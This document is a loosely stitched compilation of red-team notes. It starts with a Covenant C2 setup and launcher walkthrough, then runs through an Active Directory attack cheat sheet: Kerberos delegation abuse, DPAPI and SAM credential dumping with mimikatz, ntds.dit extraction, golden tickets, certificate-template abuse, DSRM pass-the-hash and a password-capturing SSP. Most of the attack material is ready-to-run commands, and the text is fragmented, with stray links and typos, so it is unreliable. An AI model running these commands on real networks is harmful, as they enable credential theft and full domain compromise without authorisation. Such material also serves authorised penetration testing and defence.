https://captainroot.com/blog/getting-started-with-covenant-c2-in-kali-linux/ https://michaelkoczwara.medium.com/covenant-c2-quick-setup-on-windows-296a0d400de2
This is a quick walkthrough on installing Covenant Command & Control (C&C) framework on Kali Linux. I tested this on Kali 2020.3. but this should work for later version updates as well. Let’s get started.
Covenant has a nicely written installation and setup page over here: https://github.com/cobbr/Covenant/wiki/Installation-And-Startup ..but I hope to summarise what’s needed to get it up and running on Kali Linux in this post.
First, you need to download the .NET Core framework for Linux. At the time of writing the latest version was 3.1. You can find the latest recommended release over here:
**Download .NET Core (Linux, macOS, and Windows)**
I have a 64bit Kali linux. I’ve read some recommendations mentioning to use 64bit bit instead of 32bit Kali when installing Covenant. I downloaded the 64bit version of the .NET SDK package from the .NET Core 3.1 download page. Screenshot below:
Once the tar.gz file is downloaded on to my Kali host, I pretty much followed the instructions from here to extract it and set the relevant environment variables. I’ve detailed the steps I took below for clarity.
Go ahead and run the following to extract the tar.gz file:
mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-3.1.403-linux-x64.tar.gz -C $HOME/dotnet
The above command will extract the contents to your $HOME/dotnet folder as confirmed below:
Now set the environment variables required with the following commands:
export DOTNET_ROOT=$HOME/dotnet export PATH=$PATH:$HOME/dotnet
And you are done setting up the .NET Core framework needed for Covenant. Now, lets move on to installing Covenant itself.
I installed Covenant under my ~/tools folder, so feel free to change the location as you need:
cd ~/toolsgit clone --recurse-submodules https://github.com/cobbr/Covenant
The above will download Covenant from Github repository. It will use up about 141Mb of space. Once downloaded:
cd Covenant/Covenant donet build
Running the above command will start building the Covenant project. It built successfully, you should get a message like this:
Now you are ready to run Covenant:
dotnet run
This will start the Covenant web service on TCP port 7443. You can check this via another terminal by running:
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:7443 0.0.0.0:* LISTEN 1650543/Covenant
Now, open up a web browser and point to port 7443 of your Kali host. For example, if your Kali host IP is 192.168.1.10 you should be trying https://192.168.1.10:7443 , as an example.
You will get a certificate warning, which you can safely ignore for now and proceed, which will redirect you to /covenantuser/login path. If everything has gone well so far, this should take you to the Covenant initial user registration page as shown below:
Prove a username and password to register an account. Make sure you remember this password or save it securely somewhere.
Once logged in, you will be taken to the /home/index path where the Covenant dashboard will be displayed to you as shown below:
https://dian-pentest.medium.com/install-covenant-on-kali-linux-c0350804648d
https://www.youtube.com/watch?v=6C8tzKb3kEQ https://infosecwriteups.com/hack-the-box-sauna-write-up-w-covenant-c2-c2d71141c90b
Before we can use the Covenant for red teaming activity, the first thing we need to setup is Listener. Basically covenant Listener is same as the usual listener we have used like netcat or meterpreter. In covenant, stager is called as Grunt. We will talk about it in the next section below. First of all, create the listener at listener menu.
Creating First Listener
- Name: Identifier name for the listener, default is generated value but you can set it as you like
- BindAddress: The ip address listener will bind to
- BindPort: The port listener will bind to
- ConnectAddress & ConnectPort: Address and port that will be used as connect back for the stager.
- HttpProfile: You can leave it default
After we create the listener, it will show in listeners list. For example, I create listener with name First-Listener and type is HTTP.
Listener
Start the listener we’ve created before and it will show you the new information in listener like the figure below
Start Listener
Listener Active
We can double-check to make sure if listener is successfully active using this command in terminal:
└─$ sudo netstat -tulpn | grep 'LISTEN.Covenant' 1 ⚙ tcp 0 0 0.0.0.0:80 0.0.0.0: LISTEN 13691/Covenant tcp 0 0 0.0.0.0:7443 0.0.0.0:* LISTEN 13691/Covenant
Launchers are all in one payload delivery feature that generate, host, and download binaries/script to launch new Grunts
Covenant Launcher
Here is explanation from Covenant wiki:
- Binary — The Binary launcher is used to generate custom binaries that launch a Grunt. This is currently the only launcher that does not rely on a system binary.
- ShellCode — The ShellCode launcher converts a Grunt binary to ShellCode using Donut.
- PowerShell — The PowerShell launcher is used to generate PowerShell code and/or a PowerShell one-liner that launches a Grunt using powershell.exe.
- MSBuild — The MSBuild launcher is used to generate an MSBuild XML file that launches a Grunt using msbuild.exe.
- InstallUtil — The InstallUtil launcher is used to generate an InstallUtil XML file that launches a Grunt using installutil.exe.
- Mshta — The Mshta launcher is used to generate an HTA file and/or a mshta one-liner that launches a Grunt using mshta.exe that relies on DotNetToJScript.
- Regsvr32 — The Regsvr32 launcher is used to generate an SCT file and/or regsvr32 one-liner that launches a Grunt using regsvr32.exe that relies on DotNetToJScript.
- Wmic — The Wmic launcher is used to generate an xsl file and/or wmic one-liner that launches a Grunt using wmic.exethat relies on DotNetToJScript.
- Cscript — The Cscript launcher is used to generate a JScript file a Grunt using cscript.exe that relies on DotNetToJScript.
- Wscript — The Wscript launcher is used to generate a JScript file a Grunt using wscript.exe that relies on DotNetToJScript.
For this article, I will use Powershell Launcher as the example. Don’t forget to disable windows defender or bypass the AMSI first(it will be discuss later).
Create PowerShellLauncher
Choose and customize with your own environment. I suggest that you choose GruntHTTP for the implant template. After that, click generate and it will generate a launcher and encoded launcher for our need.
Generated launcher
We need to test our launcher in our windows box to see how the payload and communication work. Open command prompt and paste the generated launcher.
Powershell launcher
Grunt new connection
As we can see from above picture, our launcher is successfully connect to listener in grunt. This is what look like in grunts
Grunt information
We can interact with the victim machine using covenant interact feature in grunt
Grunt interaction
Covenant also support GUI file browser
Grunt file browser
I think that’s all for the getting started article about Covenant C2. Will talk about the more covenant feature in the next article.

- #If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data.

- AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:
Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable!
PowerView:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.
#List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows
#List shadow copies using diskshadow diskshadow list shadows all
#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
- You can dump the backuped SAM database and harvest credentials.
- Look for DPAPI stored creds and decrypt them.
- Access backuped sensitive files.
Usually encrypted credentials are stored in:
- %appdata%\Microsoft\Credentials
- %localappdata%\Microsoft\Credentials
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials<CredHash>"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect<usersid><MasterKeyGUID>"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect<usersid><MasterKeyGUID>" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey: dpapi::cred /in:"%appdata%\Microsoft\Credentials<CredHash>"

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!
Using PowerView:
#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName -Poll
-UserName -Delay
-Verbose
#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt "'
Note: We can also use Rubeus!
Using PowerView and Kekeo:
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo tgt::ask /user: /domain:<Domain's FQDN> /rc4:
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt: /user:@<Domain's FQDN> /service:<Service's SPN>
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt "'
ALTERNATIVE: Using Rubeus:
Rubeus.exe s4u /user: /rc4:
/impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt
Now we can access the service as the impersonated user!
What if we have delegation rights for only a spesific SPN? (e.g TIME):
In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.
WUT IS DIS?:
TL;DR
If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.
Tools we are going to use:
First we need to enter the security context of the user/machine account that has the privileges over the object. If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.
Exploitation Example:
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount -Password $(ConvertTo-
SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-
AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msdsallowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user: /rc4:
/impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine dir \TargetMachine.wtver.domain\C$

- RESOURCE-BASED CONSTRAINED DELEGATION ABUSE
❗ In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.
#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap

WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.
- Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:
- #Create a .txt file that will contain the shadow copy process script
- Script ->{
- set context persistent nowriters
- set metadata c:\windows\system32\spool\drivers\color\example.cab
- set verbose on
- begin backup
- add volume c: alias mydrive
create
- expose %mydrive% w:
- end backup
- }
- #Execute diskshadow with our script as parameter
diskshadow /s script.txt
- Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use this amazing repo:
- #Importing both dlls from the repo using powershell
- Import-Module .\SeBackupPrivilegeCmdLets.dll
- Import-Module .\SeBackupPrivilegeUtils.dll
- #Checking if the SeBackupPrivilege is enabled
- Get-SeBackupPrivilege
#If it isn't we enable it 25. Set-SeBackupPrivilege
- #Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice
- Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit Overwrite
- #Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
- Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
- Use secretsdump.py from impacket and dump the hashes.
- Use psexec or another tool of your choice to PTH and get Domain Admin access.
- Abusing Exchange one Api call from DA
- CVE-2020-0688
- PrivExchange Exchange your privileges for Domain Admin privs by abusing Exchange
WUT IS DIS?: If we manage to compromise a child domain of a forest and SID filtering isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain
Administrator of the root domain of the forest. This is possible because of the SID History field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.
Exploitation example:
#Get the SID of the Current Domain using PowerView
Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView
Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID
Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local
/sid: /krbtgt: /sids: /startoffset:0
/endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain dir \dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all

Active Directory Certificate Services Check for Vulnerable Certificate Templates with: Certify
Note: Certify can be executed with Cobalt Strike's execute-assembly command as well
.\Certify.exe find /vulnerable /quiet
Make sure the msPKI-Certificates-Name-Flag value is set to "ENROLLEE_SUPPLIES_SUBJECT" and that the Enrollment Rights allow Domain/Authenticated Users. Additionally, check that the pkiextendedkeyusage parameter contains the "Client Authentication" value as well as that the "Authorized Signatures Required" parameter is set to 0.
This exploit only works because these settings enable server/client authentication, meaning an attacker can specify the UPN of a Domain Admin ("DA") and use the captured certificate with Rubeus to forge authentication.
Note: If a Domain Admin is in a Protected Users group, the exploit may not work as intended. Check before choosing a DA to target.
Request the DA's Account Certificate with Certify
.\Certify.exe request /template: /quiet /ca:""
/domain:<domain.com> /path:CN=Configuration,DC=,DC=com /altname: /machine
This should return a valid certificate for the associated DA account.
The exported cert.pem and cert.key files must be consolidated into a single cert.pem file, with one gap of whitespace between the END RSA PRIVATE KEY and the BEGIN CERTIFICATE.
Example of cert.pem:
- ----BEGIN RSA PRIVATE KEY-----
BIIEogIBAAk15x0ID[...]
[...]
[...]
- ----END RSA PRIVATE KEY-----
- ----BEGIN CERTIFICATE-----
BIIEogIBOmgAwIbSe[...]
[...]
[...]
- ----END CERTIFICATE-----
#Utilize openssl to Convert to PKCS #12 Format
The openssl command can be utilized to convert the certificate file into PKCS #12 format (you may be required to enter an export password, which can be anything you like).
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" export -out cert.pfx
Once the cert.pfx file has been exported, upload it to the compromised host (this can be done in a variety of ways, such as with Powershell, SMB, certutil.exe, Cobalt Strike's upload functionality, etc.)
After the cert.pfx file has been uploaded to the compromised host, Rubeus can be used to request a Kerberos TGT for the DA account which will then be imported into memory.
.\Rubeus.exe asktht /user: /domain:<domain.com> /dc: /certificate: /nowrap /ptt
This should result in a successfully imported ticket, which then enables an attacker to perform various malicious acitivities under DA user context, such as performing a DCSync attack.

WUT IS DIS?: Every DC has a local Administrator account, this accounts has the DSRM password which is a SafeBackupPassword. We can get this and then pth its NTLM hash to get local Administrator access to DC!
#Dump DSRM password (needs DA privs):
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -ComputerName <DC's Name>
#This is a local account, so we can PTH and authenticate!
#BUT we need to alter the behaviour of the DSRM account before pth:
#Connect on DC:

#Alter the Logon behaviour on registry:
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehaviour" -Value 2 -PropertyType DWORD -Verbose
#If the property already exists:
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa" -Name "DsrmAdminLogonBehaviour" -Value 2 -Verbose
Then just PTH to get local admin access on DC!
WUT IS DIS?: We can set our on SSP by dropping a custom dll, for example mimilib.dll from mimikatz, that will monitor and capture plaintext passwords from users that logged on!
From powershell:
#Get current Security Package:
$packages = Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -
Name 'Security Packages' | select -ExpandProperty 'Security Packages'
#Append mimilib:
$packages += "mimilib"
#Change the new packages name
Set-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\OSConfig" -Name 'Security Packages' -Value $packages
